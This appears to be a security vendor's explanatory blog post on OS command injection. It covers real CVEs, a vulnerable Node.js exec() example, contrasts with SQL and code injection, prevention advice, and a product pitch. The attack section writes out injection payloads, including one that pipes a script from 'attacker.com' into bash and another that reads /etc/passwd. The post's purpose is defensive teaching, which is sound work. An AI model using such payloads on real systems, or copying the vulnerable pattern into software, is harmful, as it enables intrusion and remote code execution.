In September 2014, a bash function definition parser bug let attackers run arbitrary shell commands on millions of internet-facing servers just by setting a malicious environment variable in an HTTP header. That bug — Shellshock, CVE-2014-6271 — is OS command injection in its purest form: user-controlled input reaching a system shell. A decade later the pattern hasn't gone away. CVE-2024-3400, an unauthenticated OS command injection in Palo Alto Networks' PAN-OS GlobalProtect, scored a perfect CVSS 10.0 and was actively exploited as a zero-day before a patch existed in April 2024. OS command injection (CWE-78) happens whenever an application passes untrusted input to a system shell without neutralizing shell metacharacters. It's ranked inside OWASP's Injection category (A03:2021) and remains one of the most reliably exploitable bug classes because a single successful injection usually hands the attacker a shell, not just data.
What Is OS Command Injection?
OS command injection is a vulnerability that lets an attacker execute arbitrary operating system commands on a host server by manipulating input that an application passes to a shell interpreter. It occurs when code calls a function like system(), exec(), popen(), or subprocess.call(shell=True) and concatenates user-supplied data directly into the command string instead of treating that data as a fixed, non-executable argument. Because the shell interprets metacharacters such as ;, &&, |, backticks, and $() as command separators or substitutions, an attacker who controls even a single unsanitized field — a filename, a hostname, an IP address in a ping utility, an image conversion parameter — can append their own instructions. The impact is typically full remote code execution at the privilege level of the running process, which is why CVE-2022-30525, an OS command injection in Zyxel USG FLEX firewalls, was weaponized by Mirai-derived botnets within roughly a week of public disclosure in April 2022.
How Does an Attacker Actually Trigger It?
An attacker triggers OS command injection by inserting shell metacharacters into a parameter that an application later concatenates into a command executed through a shell. Consider a Node.js network diagnostics tool that shells out to the system ping binary:
const { exec } = require('child_process');
exec(`ping -c 4 ${req.query.host}`, (err, stdout) => res.send(stdout));
A legitimate request supplies host=8.8.8.8. A malicious request supplies host=8.8.8.8; cat /etc/passwd or host=8.8.8.8 && curl attacker.com/shell.sh | bash. Because exec() invokes /bin/sh -c under the hood, the semicolon or && terminates the intended ping command and starts a second one chosen entirely by the attacker. The same pattern shows up in PHP's shell_exec() and backtick operator, Python's os.system() and subprocess calls with shell=True, and Java's Runtime.exec() when arguments are built via string concatenation rather than passed as a discrete array. This is exactly the flaw class behind CVE-2024-3400: PAN-OS GlobalProtect allowed an attacker to create an arbitrary file in a specific path, which caused a cron job to interpret attacker-controlled content as a shell command, yielding root-level RCE with no authentication required.
How Is It Different From SQL Injection or Code Injection?
OS command injection differs from SQL injection and code injection in what interpreter parses the malicious payload — a system shell versus a database engine versus the application's own language runtime. SQL injection (CWE-89) feeds attacker input into a SQL parser, letting an attacker read or modify database rows through crafted queries like ' OR 1=1--. Code injection (CWE-94) feeds input into the application's own interpreter — for example, PHP's eval() or a Python exec() on untrusted YAML/pickle data — running attacker code inside the application's language runtime. OS command injection instead reaches the underlying operating system shell, so the attacker isn't limited to the application's logic or a query language; they get arbitrary commands scoped to whatever the OS process account can do, including reading /etc/shadow, writing cron jobs, pivoting to internal hosts, or installing persistence. That broader blast radius is why command injection findings are typically rated Critical rather than High, and why CVE-2024-3400 and CVE-2022-30525 both led to full device takeover rather than partial data exposure.
Which Real Breaches Trace Back to OS Command Injection?
Real breaches tied to OS command injection include Shellshock in 2014, the Zyxel firewall compromise in 2022, and the Palo Alto PAN-OS zero-day in 2024, all of which were exploited within days of disclosure. Shellshock (CVE-2014-6271, CVSS 9.8) affected an estimated 500 million+ internet-connected devices running bash-based CGI scripts and was used to build IoT botnets almost immediately after the September 24, 2014 disclosure. CVE-2022-30525 hit Zyxel USG FLEX and ATP series firewalls through an unauthenticated OS command injection in the weblogin.cgi certificate-upload handler; within about a week, Mirai variants were scanning for and exploiting unpatched devices at internet scale. CVE-2024-3400, disclosed April 12, 2024, let unauthenticated attackers achieve root command execution on PAN-OS firewalls with GlobalProtect gateway or portal enabled — Volexity and Palo Alto's own incident response teams confirmed active exploitation against customer networks before the patch shipped, including deployment of a Python-based backdoor named UPSTYLE. Across all three, the root cause was identical: untrusted network input reaching a shell invocation without sanitization.
How Do You Detect and Prevent OS Command Injection?
You prevent OS command injection by avoiding shell invocation entirely and detect it by tracing untrusted input to any shell-executing function in your codebase and dependency tree. The strongest fix is to call the underlying binary directly with an argument array — subprocess.run(["ping", "-c", "4", host], shell=False) in Python or execve-style APIs in other languages — so the OS never spawns an intermediate shell that parses metacharacters at all. When shelling out is unavoidable, allowlist input against a strict pattern (an IPv4/IPv6 regex for a ping target, for instance) rather than trying to blocklist dangerous characters, since blocklists reliably miss encoding tricks, newlines, and null-byte variants. Static analysis tools flag the dangerous sink functions (exec, system, popen, Runtime.exec, ProcessBuilder) automatically, but flagging every sink produces enormous noise — most flagged sinks in a typical codebase either receive hardcoded strings or already validate input upstream, so the real question for a security team is which of those sinks are reachable from an untrusted entry point like an HTTP request handler.
How Safeguard Helps
Safeguard's reachability analysis traces data flow from untrusted entry points — HTTP request handlers, message queue consumers, file uploads — through to shell-executing sinks like exec(), system(), and subprocess calls, so teams see which OS command injection findings are actually exploitable versus dead code, cutting through the noise static analyzers generate on their own. Griffin AI, Safeguard's reasoning engine, reads the surrounding code path to confirm whether input sanitization or allowlisting already neutralizes the injection before a finding ever reaches an engineer's queue. For third-party and vendor risk, Safeguard's SBOM generation and ingest pipeline flags components with known OS command injection CVEs, including patterns matching CVE-2024-3400 and CVE-2022-30525 class advisories, against your deployed inventory in real time. When a fixable instance is confirmed reachable, Safeguard opens an auto-fix PR that replaces the vulnerable shell invocation with a parameterized, non-shell system call, so remediation ships as a reviewable code change rather than a ticket.